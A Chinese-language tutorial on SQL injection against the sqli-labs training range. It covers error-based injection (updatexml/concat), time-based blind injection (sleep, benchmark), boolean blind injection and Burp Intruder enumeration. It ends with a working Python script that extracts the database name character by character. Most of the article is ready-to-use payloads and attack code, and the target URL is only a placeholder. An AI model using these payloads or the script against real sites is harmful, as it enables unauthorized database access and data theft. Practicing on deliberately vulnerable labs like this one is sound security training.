SQL注入入门进阶
学习目标
本篇文章入门SQL注入,除了回显的SQL注入还存在报错注入、布尔盲注和延时注入。如果sqlmap跑不出来的还可以使用burp intrude注入或者使用python编写脚本注入。
报错注入
concat() 函数的意思是讲,全部内容连成一个字符串,但是有格式限制限制为XPATH格式。
利用这个特征,故意输入一些的特殊字符如~ (0x7e),^ (0x5e),导致报错将查询部分的内容报错出来
xxxxx是你的sqli-labs靶场url,本节使用到第5关
1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
http://xxxxxxxxURL/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)%20--+
效果图
还有其他报错注入语句,这里仅仅只是帮助新手入门,抛转引玉。
时间盲注
使用sql语句判断后跟着延时的函数,从而sql注入出想要的数据。
xxxxx是你的sqli-labs靶场url,本节使用到第九关
http://xxxxxxxxxxxx/Less-9/?id=1%27+and+if(1=1,sleep(10),null)%20--+
?id=1'+and+if(1=1,sleep(10),null) --+
?id=1%27+and+if(length(database())>1,sleep(5),1)%20--+
效果图
处理mysql中的sleep函数还有benchmark函数
benchmark(10000,md5(‘admin’))
http://xxxxxxx/Less-9/?id=1%27+and+if(1=1,benchmark(10000000,md5(%27admin%27)),null)%20--+
效果图
不同的数据库有不同的延时注入
布尔盲注
Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+
?id=1' and (ascii(substr((select database()) ,3,1))) = 99 --+
?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+
?id=1' and (ascii(substr((select database()) ,5,1))) = 114 --+
?id=1' and (ascii(substr((select database()) ,6,1))) = 105 --+
?id=1' and (ascii(substr((select database()) ,7,1))) = 116 --+
?id=1' and (ascii(substr((select database()) ,8,1))) = 121 --+
使用到sqli-labs第8关
先讲一下使用burp,intrude模块报错注入跑数据库名
判断出数据库长度为8
然后再爆破枚举,每个数据库的字符
/Less-8/?id=1'%20and%20substr((select%20database())%20,1,1)='s'--+
python编写脚本跑布尔盲注
用到sqli-labs第8关
代码
代码使用python3编写,使用到requests库需要安装一下。
代码主要功能枚举数据库长度,和根据枚举出来的数据库长度逐一枚举出具体数据库名称。
import requests
# 填写的sqli-labs靶场第8关
url = "http://xxxxxxxxx/Less-8/"
def get_length():
# 判断数据库长度
for i in range(10):
payload1 = "?id=1%27%20and%20(length(database()))%20=%20{}%20--+".format(i)
print(payload1)
# 拼接好payload然后交给requests函数请求,发起测试
url1 = url+payload1
r = requests.get(url1)
if 'You are in' in r.text:
print("数据库的长度为:", 8)
break
return i
def get_databasename():
databasename = ''
len = get_length()
# 遍历操作枚举数据库名
for i in range(1,len+1):
# ascii码可见字符范围32-127
for j in range(32,127):
payload2 = '?id=1%27%20and%20(ascii(substr((select%20database())%20,{},1)))%20=%20{}%20--+'.format( i, j)
r = requests.get(url+payload2)
# 判断如果有You are in存在返回包就说明布尔是正确的。
if 'You are in' in r.text:
# 将ascii码转为字符
databasename += chr(j)
print("字符为:", chr(j))
print("数据库名称为",databasename)
if __name__ == '__main__':
get_databasename()
效果图
说明
本文章仅供技术交流,如需测试请根据当地法律授权后再进行测试,使用代码默认同意此条款。